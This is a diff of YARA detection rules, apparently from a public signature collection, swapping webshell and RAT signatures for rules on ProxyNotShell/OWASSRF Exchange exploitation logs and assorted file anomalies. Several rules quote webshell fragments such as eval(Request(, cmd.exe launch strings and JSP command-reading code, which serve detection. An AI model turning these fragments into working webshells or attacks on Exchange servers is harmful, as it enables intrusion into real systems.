 		author = "Florian Roth (Nextron Systems)"
-		id = "b628c4f9-eb07-592d-834a-5c94e41987da"
-		date = "2015-12-05"
+		id = "a61f6582-474f-5b6f-b8f5-329c0bcc4017"
+		date = "2022-12-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L9710-L9722"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6fd514df9d53293a8cfd4b9c807f993558e39979592aa221f18cd76079c00fb7"
-		score = 100
+		reference = "https://www.crowdstrike.com/blog/owassrf-exploit-analysis-and-recommendations/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_proxynotshell_owassrf_dec22.yar#L2-L22"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1e8f5a3440f8b4b1850fddbd19f63796ad0f28178c678e9f464b7e4ab5ca944f"
+		score = 70
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "CVE-2022-41040, CVE-2022-41082"
 
 	strings:
-		$s1 = "<%eval(Request(" nocase
+		$s1 = "/owa/mastermailbox%40outlook.com/powershell" ascii wide
+		$sa1 = " 200 " ascii wide
+		$sa2 = " POST " ascii wide
+		$fp1 = "ClientInfo" ascii wide fullword
+		$fp2 = "Microsoft WinRM Client" ascii wide fullword
+		$fp3 = "Exchange BackEnd Probes" ascii wide fullword
 
 	condition:
-		uint16(0)==0x253c and filesize <40 and all of them
+		all of ($s*) and not 1 of ($fp*)
 }
-rule SIGNATURE_BASE_Wordpress_Config_Webshell_Preprend : FILE
+rule SIGNATURE_BASE_EXPL_LOG_Proxynotshell_OWASSRF_Powershell_Proxy_Log_Dec22_2 : CVE_2022_41040 CVE_2022_41082
 {
 	meta:
-		description = "Webshell that uses standard Wordpress wp-config.php file and appends the malicious code in front of it"
+		description = "Detects traces of exploitation activity in relation to ProxyNotShell MS Exchange vulnerabilities CVE-2022-41040 and CVE-2022-41082"
 		author = "Florian Roth (Nextron Systems)"
-		id = "2a432c53-5dee-5a2e-9ccf-9e5d52713af9"
-		date = "2017-06-25"
+		id = "85722997-fd28-51cf-817e-7a314e284b0b"
+		date = "2022-12-22"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L9734-L9756"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "97d7b85fa191380fe8b26ea60c8735a8f7179acc3a496ff0fc0dc5eefde2fe8a"
-		score = 65
+		reference = "https://www.crowdstrike.com/blog/owassrf-exploit-analysis-and-recommendations/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_proxynotshell_owassrf_dec22.yar#L24-L45"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "73ce86b7a673719c916666fa06963b774edad5b2cd804994614afd83ea75ecef"
+		score = 60
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "CVE-2022-41040, CVE-2022-41082"
 
 	strings:
-		$x1 = " * @package WordPress" fullword ascii
-		$s1 = "define('DB_NAME'," ascii
-		$s2 = "require_once(ABSPATH . 'wp-settings.php');" ascii
-		$fp1 = "iThemes Security Config" ascii
+		$sr1 = / \/owa\/[^\/\s]{1,30}(%40|@)[^\/\s\.]{1,30}\.[^\/\s]{2,3}\/powershell / ascii wide
+		$sa1 = " 200 " ascii wide
+		$sa2 = " POST " ascii wide
+		$fp1 = "ClientInfo" ascii wide fullword
+		$fp2 = "Microsoft WinRM Client" ascii wide fullword
+		$fp3 = "Exchange BackEnd Probes" ascii wide fullword
 
 	condition:
-		uint32(0)==0x68703f3c and filesize <400KB and $x1 and all of ($s*) and not $x1 in (0..1000) and not 1 of ($fp*)
+		all of ($s*) and not 1 of ($fp*)
 }
-rule SIGNATURE_BASE_PAS_Webshell_Encoded : FILE
+rule SIGNATURE_BASE_EXPL_LOG_Proxynotshell_OWASSRF_Powershell_Proxy_Log_Dec22_3 : CVE_2022_41040 CVE_2022_41082
 {
 	meta:
-		description = "Detects a PAS webshell"
+		description = "Detects traces of exploitation activity in relation to ProxyNotShell MS Exchange vulnerabilities CVE-2022-41040 and CVE-2022-41082"
 		author = "Florian Roth (Nextron Systems)"
-		id = "6cb547ad-7a97-5c3d-83e1-114ea798ddb8"
-		date = "2017-07-11"
+		id = "76dd786e-daaa-5cd9-8e3e-50d9eab7f9d2"
+		date = "2022-12-22"
 		modified = "2023-12-05"
-		reference = "http://blog.talosintelligence.com/2017/07/the-medoc-connection.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L9767-L9802"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "59f4f8caa60c2367b46f6af1aefa62e03e228b382ff58be3a27dad527a685eca"
-		score = 80
+		reference = "https://www.crowdstrike.com/blog/owassrf-exploit-analysis-and-recommendations/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_proxynotshell_owassrf_dec22.yar#L47-L66"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "607d3743a46e0c5000b9c7847dd89f5d7ccf29f4f1af9bce6870d7738f071f5c"
+		score = 60
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "CVE-2022-41040, CVE-2022-41082"
 
 	strings:
-		$head1 = "<?php $____=" fullword ascii
-		$head2 = "'base'.(32*2).'"
-		$enc1 = "isset($_COOKIE['___']" ascii
-		$enc2 = "if($___!==NULL){" ascii
-		$enc3 = ").substr(md5(strrev($" ascii
-		$enc4 = "]))%256);$" ascii
-		$enc5 = "]))@setcookie('" ascii
-		$enc6 = "]=chr(( ord($_" ascii
-		$x1 = { 3D 0A 27 29 29 3B 69 66 28 69 73 73 65 74 28 24 5F 43 4F 4F 4B 49 45 5B 27 }
-		$foot1 = "value=\"\"/><input type=\"submit\" value=\"&gt;\"/></form>"
-		$foot2 = "();}} @header(\"Status: 404 Not Found\"); ?>"
+		$sa1 = " POST /powershell - 444 " ascii wide
+		$sa2 = " POST /Powershell - 444 " ascii wide
+		$sb1 = " - 200 0 0 2" ascii wide
+		$fp1 = "ClientInfo" ascii wide fullword
+		$fp2 = "Microsoft WinRM Client" ascii wide fullword
+		$fp3 = "Exchange BackEnd Probes" ascii wide fullword
 
 	condition:
-		( uint32(0)==0x68703f3c and filesize <80KB and (3 of them or $head1 at 0 or $head2 in (0..20) or 1 of ($x*))) or $foot1 at ( filesize -52) or $foot2 at ( filesize -44)
+		1 of ($sa*) and $sb1 and not 1 of ($fp*)
 }
-rule SIGNATURE_BASE_ALFA_SHELL : FILE
+rule SIGNATURE_BASE_EXPL_LOG_Proxynotshell_Powershell_Proxy_Log_Dec22_1 : CVE_2022_41040 CVE_2022_41082
 {
 	meta:
-		description = "Detects web shell often used by Iranian APT groups"
+		description = "Detects traces of exploitation activity in relation to ProxyNotShell MS Exchange vulnerabilities CVE-2022-41040 and CVE-2022-41082"
 		author = "Florian Roth (Nextron Systems)"
-		id = "f0be44ec-bff0-5d01-aabd-df7aa05383e3"
-		date = "2017-09-21"
-		modified = "2023-12-05"
-		reference = "Internal Research - APT33"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L9814-L9832"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "651568b2b95c9e5c2b60fb3245e5afe4290235979e3df15bad96ccd08ae234ef"
-		score = 75
+		id = "5af3ae70-8897-593f-a413-82ca1d1ba961"
+		date = "2022-12-22"
+		modified = "2023-01-26"
+		reference = "https://www.crowdstrike.com/blog/owassrf-exploit-analysis-and-recommendations/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_proxynotshell_owassrf_dec22.yar#L68-L86"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f2aac61bc17f74901ec8d638d5cfaaa45bbd2a4e40e5d915bf2a946daed411d2"
+		score = 70
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "a39d8823d54c55e60a7395772e50d116408804c1a5368391a1e5871dbdc83547"
+		tags = "CVE-2022-41040, CVE-2022-41082"
 
 	strings:
-		$x1 = "$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64')" ascii
-		$x2 = "#solevisible@gmail.com" fullword ascii
-		$x3 = "'login_page' => '500',//gui or 500 or 403 or 404" fullword ascii
-		$x4 = "$GLOBALS['__ALFA__']" fullword ascii
-		$x5 = "if(!function_exists('b'.'as'.'e6'.'4_'.'en'.'co'.'de')" ascii
-		$f1 = { 76 2F 38 76 2F 36 76 2F 2B 76 2F 2F 66 38 46 27 29 3B 3F 3E 0D 0A }
+		$re1 = /,\/[Pp][Oo][Ww][Ee][Rr][Ss][Hh][Ee][Ll][Ll][^\n]{0,50},Kerberos,true,[^\n]{0,50},200,0,,,,[^\n]{0,2000};OnEndRequest\.End\.ContentType=application\/soap\+xml charset UTF-8;S:ServiceCommonMetadata\.HttpMethod=POST;/ ascii wide
+		$fp1 = "ClientInfo" ascii wide fullword
+		$fp2 = "Microsoft WinRM Client" ascii wide fullword
+		$fp3 = "Exchange BackEnd Probes" ascii wide fullword
 
 	condition:
-		( filesize <900KB and 2 of ($x*) or $f1 at ( filesize -22))
+		$re1 and not 1 of ($fp*)
 }
-rule SIGNATURE_BASE_Webshell_FOPO_Obfuscation_APT_ON_Nov17_1 : FILE
+rule SIGNATURE_BASE_Suspicious_Autoit_By_Microsoft : FILE
 {
 	meta:
-		description = "Detects malware from NK APT incident DE"
+		description = "Detects a AutoIt script with Microsoft identification"
 		author = "Florian Roth (Nextron Systems)"
-		id = "0122bb03-8ff0-554d-8fee-458f0ddd7664"
-		date = "2017-11-17"
+		id = "69b1c93d-ab12-5fdc-b6eb-fb135796d3a9"
+		date = "2017-12-14"
 		modified = "2023-12-05"
-		reference = "Internal Research - ON"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L9834-L9853"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3c5bc3ee0218d4ce6902e49d7f938264ecd158f1f458e2fcef878f06f003ed08"
-		score = 75
+		reference = "Internal Research - VT"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/generic_anomalies.yar#L375-L390"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7dfbaf7d136bd9e151c533b49394a9a596450d9cc2643dc144cb693290004591"
+		score = 60
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "ed6e2e0027d3f564f5ce438984dc8a54577df822ce56ce079c60c99a91d5ffb1"
+		hash1 = "c0cbcc598d4e8b501aa0bd92115b4c68ccda0993ca0c6ce19edd2e04416b6213"
 
 	strings:
-		$x1 = "Obfuscation provided by FOPO" fullword ascii
-		$s1 = "\";@eval($" ascii
-		$f1 = { 22 29 29 3B 0D 0A 3F 3E }
+		$s1 = "Microsoft Corporation. All rights reserved" fullword wide
+		$s2 = "AutoIt" fullword ascii
 
 	condition:
-		uint16(0)==0x3f3c and filesize <800KB and ($x1 or ($s1 in (0..350) and $f1 at ( filesize -23)))
+		uint16(0)==0x5a4d and filesize <2000KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Jexboss_JSP_1 : FILE
+rule SIGNATURE_BASE_SUSP_Size_Of_ASUS_Tuningtool : FILE
 {
 	meta:
-		description = "Detects JexBoss JSPs"
+		description = "Detects an ASUS tuning tool with a suspicious size"
 		author = "Florian Roth (Nextron Systems)"
-		id = "4fe7a20b-dc2b-509b-bcf8-e3bfbbe7431a"
-		date = "2018-11-08"
-		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L9855-L9872"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f540bbc88bffd0c961837416bd5166fd3cb54b6124ffffbf1cd60e49ab01bd30"
-		score = 75
+		id = "d22a1bf9-55d6-5cb4-9537-ad13b23af4d1"
+		date = "2018-10-17"
+		modified = "2022-12-21"
+		reference = "https://www.welivesecurity.com/2018/10/17/greyenergy-updated-arsenal-dangerous-threat-actors/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/generic_anomalies.yar#L392-L407"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5aadb48f61947ff0362bde5f80830b835ca9e3cb7e1c632d153d0ea5f8bbad6c"
+		score = 60
 		quality = 85
 		tags = "FILE"
-		hash1 = "41e0fb374e5d30b2e2a362a2718a5bf16e73127e22f0dfc89fdb17acbe89efdf"
+		noarchivescan = 1
+		hash1 = "d4e97a18be820a1a3af639c9bca21c5f85a3f49a37275b37fd012faeffcb7c4a"
 
 	strings:
-		$x1 = "equals(\"jexboss\")"
-		$x2 = "%><pre><%if(request.getParameter(\"ppp\") != null &&" ascii
-		$s1 = "<%@ page import=\"java.util.*,java.io.*\"%><pre><% if (request.getParameter(\""
-		$s2 = "!= null && request.getHeader(\"user-agent\"" ascii
-		$s3 = "String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); }}%>" fullword ascii
+		$s1 = "\\Release\\ASGT.pdb" ascii
 
 	condition:
-		uint16(0)==0x253c and filesize <1KB and 1 of ($x*) or 2 of them
+		uint16(0)==0x5a4d and filesize <300KB and filesize >70KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Jexboss_WAR_1 : FILE
+rule SIGNATURE_BASE_SUSP_Piratedoffice_2007 : FILE
 {
 	meta:
-		description = "Detects JexBoss versions in WAR form"
+		description = "Detects an Office document that was created with a pirated version of MS Office 2007"
 		author = "Florian Roth (Nextron Systems)"
-		id = "0973f6cf-8a5f-5449-812e-36aa6b9939df"
-		date = "2018-11-08"
+		id = "b36e9a59-7617-503b-968d-5b6b72b227ea"
+		date = "2018-12-04"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L9874-L9897"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ee9cb22496d2e36d215caa9c7e295b41cb8434322a0097bbc3d1a365dce0c156"
-		score = 75
+		reference = "https://twitter.com/pwnallthethings/status/743230570440826886?lang=en"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/generic_anomalies.yar#L409-L422"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ff94483944a4a4e4bc3cba26fc08fc2a5239f27b301b2ca7cca5edc092c2fc73"
+		score = 40
 		quality = 85
 		tags = "FILE"
-		hash1 = "6271775ab144ce9bb9138bf054b149b5813d3beb96338993c6de35330f566092"
-		hash2 = "6f14a63c3034d3762da8b3ad4592a8209a0c88beebcb9f9bd11b40e879f74eaf"
+		hash1 = "210448e58a50da22c0031f016ed1554856ed8abe79ea07193dc8f5599343f633"
 
 	strings:
-		$ = "jbossass" fullword ascii
-		$ = "jexws.jsp" fullword ascii
-		$ = "jexws.jspPK" fullword ascii
-		$ = "jexws1.jsp" fullword ascii
-		$ = "jexws1.jspPK" fullword ascii
-		$ = "jexws2.jsp" fullword ascii
-		$ = "jexws2.jspPK" fullword ascii
-		$ = "jexws3.jsp" fullword ascii
-		$ = "jexws3.jspPK" fullword ascii
-		$ = "jexws4.jsp" fullword ascii
-		$ = "jexws4.jspPK" fullword ascii
+		$s7 = "<Company>Grizli777</Company>" ascii
 
 	condition:
-		uint16(0)==0x4b50 and filesize <4KB and 1 of them
+		uint16(0)==0xcfd0 and filesize <300KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Tinyasp : FILE
+rule SIGNATURE_BASE_SUSP_Scheduled_Task_Bigsize : FILE
 {
 	meta:
-		description = "Detects 24 byte ASP webshell and variations"
-		author = "Jeff Beley"
-		id = "38b1f61b-e506-59b2-9157-d0345431c429"
-		date = "2019-01-09"
+		description = "Detects suspiciously big scheduled task XML file as seen in combination with embedded base64 encoded PowerShell code"
+		author = "Florian Roth (Nextron Systems)"
+		id = "61b07b30-1058-5a53-99e7-2c48ec9d23b5"
+		date = "2018-12-06"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L9899-L9910"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d8b7db89ea623d5bcf14476779df727827cfc752d4c6ba4208445fd7305e6943"
-		score = 75
-		quality = 83
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/generic_anomalies.yar#L424-L440"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "dcc06261b1ea39c587d8bcefbb8e85e6b9016da01bf66c2eefe5bd7bbdfc6968"
+		score = 65
+		quality = 85
 		tags = "FILE"
-		hash1 = "1f29905348e136b66d4ff6c1494d6008ea13f9551ad5aa9b991893a31b37e452"
 
 	strings:
-		$s1 = "Execute Request" ascii wide nocase
+		$a0 = "<Task version=" ascii wide
+		$a1 = "xmlns=\"http://schemas.microsoft.com/windows/" ascii wide
+		$fp1 = "</Counter><Counter>" wide
+		$fp2 = "Office Feature Updates Logon" wide
+		$fp3 = "Microsoft Shared" fullword wide
 
 	condition:
-		uint16(0)==0x253c and filesize <150 and 1 of them
+		uint16(0)==0xfeff and filesize >20KB and all of ($a*) and not 1 of ($fp*)
 }
-rule SIGNATURE_BASE_WEBSHELL_ASPX_Mar21_1 : FILE
+rule SIGNATURE_BASE_SUSP_Putty_Unnormal_Size : FILE
 {
 	meta:
-		description = "Detects ASPX Web Shells"
+		description = "Detects a putty version with a size different than the one provided by Simon Tatham (could be caused by an additional signature or malware)"
 		author = "Florian Roth (Nextron Systems)"
-		id = "52884135-6b86-5e3e-a866-36a812d5a9af"
-		date = "2021-03-12"
-		modified = "2023-12-05"
+		id = "576b118c-d4be-5ce2-994a-ce3f943dda88"
+		date = "2019-01-07"
+		modified = "2022-06-30"
 		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L9912-L9937"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "acc0d67326d1f764d6fc54681b38f491c55968ec34e40d181426cfcf418eeb21"
-		score = 75
-		quality = 83
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/generic_anomalies.yar#L442-L492"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2f2c21cc25eaba8c1812db617203427a59e9a55f8620676e4bbe4cb3cd4071fd"
+		score = 50
+		quality = 85
 		tags = "FILE"
-		hash1 = "10b6e82125a2ddf3cc31a238e0d0c71a64f902e0d77171766713affede03174d"
-		hash2 = "170bee832df176aac0a3c6c7d5aa3fee413b4572030a24c994a97e70f6648ffc"
-		hash3 = "31c4d1fc81c052e269866deff324dffb215e7d481a47a2b6357a572a3e685d90"
-		hash4 = "41b5c26ac194439612b68e9ec6a638eceaf00842c347ffa551eb009ef6c015a3"
-		hash5 = "4b645bc773acde2b3cc204e77ac27c3f6991046c3b75f42d12bc90ec29cff9e3"
-		hash6 = "602bb701b78895d4de32f5e78f3c511e5298ba244b29641b11a7c1c483789859"
-		hash7 = "7ac47a17c511e25c06a53a1c7a5fbbf05f41f047a4a40b71afa81ce7b59f4b03"
-		hash8 = "9a5097d0e8dc29a2814adac070c80fd4b149b33e56aaaf9235af9e87b0501d91"
-		hash9 = "9efb5932c0753e45504fc9e8444209b92c2bdf22e63b1c1a44e2d52cb62b4548"
-		hash10 = "d40b16307d6434c3281374c0e1bbc0f6db388883e7f6266c3c81de0694266882"
+		hash1 = "e5e89bdff733d6db1cffe8b3527e823c32a78076f8eadc2f9fd486b74a0e9d88"
+		hash2 = "ce4c1b718b54973291aefdd63d1cca4e4d8d4f5353a2be7f139a290206d0c170"
+		hash3 = "adb72ea4eab7b2efc2da6e72256b5a3bb388e9cdd4da4d3ff42a9fec080aa96f"
+		hash4 = "1c0bd6660fa43fa90bd88b56cdd4a4c2ffb4ef9d04e8893109407aa7039277db"
 
 	strings:
-		$s1 = ".StartInfo.FileName = 'cmd.exe';" ascii fullword
-		$s2 = "<xsl:template match=\"\"/root\"\">" ascii fullword
-		$s3 = "<?xml version=\"\"1.0\"\"?><root>test</root>\";" ascii fullword
+		$s1 = "SSH, Telnet and Rlogin client" fullword wide
+		$v1 = "Release 0.6" wide
+		$v2 = "Release 0.70" wide
+		$fp1 = "KiTTY fork" fullword wide
 
 	condition:
-		uint16(0)==0x253c and filesize <6KB and all of them
+		uint16(0)==0x5a4d and $s1 and 1 of ($v*) and not 1 of ($fp*) and filesize !=524288 and filesize !=495616 and filesize !=483328 and filesize !=524288 and filesize !=712176 and filesize !=828400 and filesize !=569328 and filesize !=454656 and filesize !=531368 and filesize !=524288 and filesize !=483328 and filesize !=713592 and filesize !=829304 and filesize !=571256 and filesize !=774200 and filesize !=854072 and filesize !=665144 and filesize !=774200 and filesize !=854072 and filesize !=665144 and filesize !=640000 and filesize !=650720 and filesize !=662808 and filesize !=651256 and filesize !=664432
 }
-rule SIGNATURE_BASE_Apt_Win32_Dll_Rat_1A53B0Cp32E46G0Qio7 : FILE
+rule SIGNATURE_BASE_SUSP_RTF_Header_Anomaly : FILE
 {
 	meta:
-		description = "Detects Inocnation Malware"
-		author = "Fidelis Cybersecurity"
-		id = "1f2250b7-fee4-5031-aeba-90d35319b560"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://www.fidelissecurity.com/sites/default/files/FTA_1020_Fidelis_Inocnation_FINAL.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_inocnation.yar#L1-L30"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "824997d8c8845838420f226b60de544f33a50327fa67aea472de6eaf1b6b4492"
-		score = 75
+		description = "Detects malformed RTF header often used to trick mechanisms that check for a full RTF header"
+		author = "Florian Roth (Nextron Systems)"
+		id = "fb362640-9a45-5ee5-8749-3980e0549932"
+		date = "2019-01-20"
+		modified = "2022-09-15"
+		reference = "https://twitter.com/ItsReallyNick/status/975705759618158593"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/generic_anomalies.yar#L494-L506"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c0be95894edc861cf322309f2c86a8ab986bb111dfdeea1990b4a074d5ab9ea3"
+		score = 50
 		quality = 85
 		tags = "FILE"
-		hash1 = "75d3d1f23628122a64a2f1b7ef33f5cf"
-		hash2 = "d9821468315ccd3b9ea03161566ef18e"
-		hash3 = "b9af5f5fd434a65d7aa1b55f5441c90a"
-
-	strings:
-		$s1 = { c7 [2] 64 00 63 00 c7 [2] 69 00 62 00 c7 [2] 7a 00 7e 00 c7 [2] 2d 00 43 00 c7 [2] 59 00 2d 00 c7 [2] 3b 00 23 00 c7 [2] 3e 00 36 00 c7 [2] 2d 00 5a 00 c7 [2] 42 00 5a 00 c7 [2] 3b 00 39 00 c7 [2] 36 00 2d 00 c7 [2] 59 00 7f 00 c7 [2] 64 00 69 00 c7 [2] 68 00 63 00 c7 [2] 79 00 22 00 c7 [2] 3a 00 23 00 c7 [2] 3d 00 36 00 c7 [2] 2d 00 7f 00 c7 [2] 7b 00 37 00 c7 [2] 3c 00 3c 00 c7 [2] 23 00 3d 00 c7 [2] 24 00 2d 00 c7 [2] 61 00 64 00 c7 [2] 66 00 68 00 c7 [2] 2d 00 4a 00 c7 [2] 68 00 6e 00 c7 [2] 66 00 62 00 }
-		$s2 = { c7 [2] 23 00 24 00 c7 [2] 24 00 33 00 c7 [2] 38 00 22 00 c7 [2] 00 00 33 00 c7 [2] 24 00 25 00 c7 [2] 3f 00 39 00 c7 [2] 38 00 0a 00 c7 [2] 04 00 23 00 c7 [2] 38 00 00 00 c7 [2] 43 00 66 00 c7 [2] 6d 00 60 00 c7 [2] 67 00 52 00 c7 [2] 6e 00 63 00 c7 [2] 7b 00 67 00 c7 [2] 70 00 00 00 c7 [2] 43 00 4d 00 c7 [2] 44 00 00 00 c7 [2] 0f 00 43 00 c7 [2] 00 00 50 00 c7 [2] 49 00 4e 00 c7 [2] 47 00 00 00 c7 [2] 11 00 12 00 c7 [2] 17 00 0e 00 c7 [2] 10 00 0e 00 c7 [2] 10 00 0e 00 c7 [2] 11 00 06 00 c7 [2] 44 00 45 00 c7 [2] 4c 00 00 00 }
-		$s3 = { 66 [4-7] 0d 40 83 f8 44 7c ?? }
-		$s4 = { 66 [4-7] 14 40 83 f8 14 7c ?? }
-		$s5 = { 66 [4-7] 56 40 83 f8 2d 7c ?? }
-		$s6 = { 66 [4-7] 20 40 83 f8 1a 7c ?? }
-		$s7 = { 80 [2-7] 2e 40 3d 50 02 00 00 72 ?? }
-		$s8 = "%08x%08x%08x%08x" wide ascii
-		$s9 = "WinHttpGetIEProxyConfigForCurrentUser" wide ascii
 
 	condition:
-		( uint16(0)==0x5A4D or uint32(0)==0x464c457f) and ( all of them )
+		uint32(0)==0x74725c7b and not uint8(4)==0x66
 }
-rule SIGNATURE_BASE_MAL_Crime_Win32_Rat_Parallax_Shell_Bin : FILE
+rule SIGNATURE_BASE_SUSP_EXPL_POC_Vmware_Workspace_ONE_CVE_2022_22954_Apr22 : CVE_2022_22954
 {
 	meta:
-		description = "Detects Parallax injected code"
-		author = "@VK_Intel"
-		id = "6bb337ef-3156-589a-9b2f-fa1b21699433"
-		date = "2020-05-05"
-		modified = "2023-12-05"
-		reference = "https://twitter.com/VK_Intel/status/1257714191902937088"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_rat_parallax.yar#L2-L16"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6b8c71cc19ca6f066d27a4e58d9ec347ac51d245308f2c41adf2386242581610"
-		score = 75
+		description = "Detects payload as seen in PoC code to exploit Workspace ONE Access freemarker server-side template injection CVE-2022-22954"
+		author = "Florian Roth"
+		id = "b7b7cefb-96f5-53f9-b6fc-6e798f557c5d"
+		date = "2022-04-08"
+		modified = "2023-04-28"
+		old_rule_name = "EXPL_POC_VMWare_Workspace_ONE_CVE_2022_22954_Apr22"
+		reference = "https://twitter.com/rwincey/status/1512241638994853891/photo/1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/exploit_cve_2022_22954_vmware_workspace_one.yar#L2-L22"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
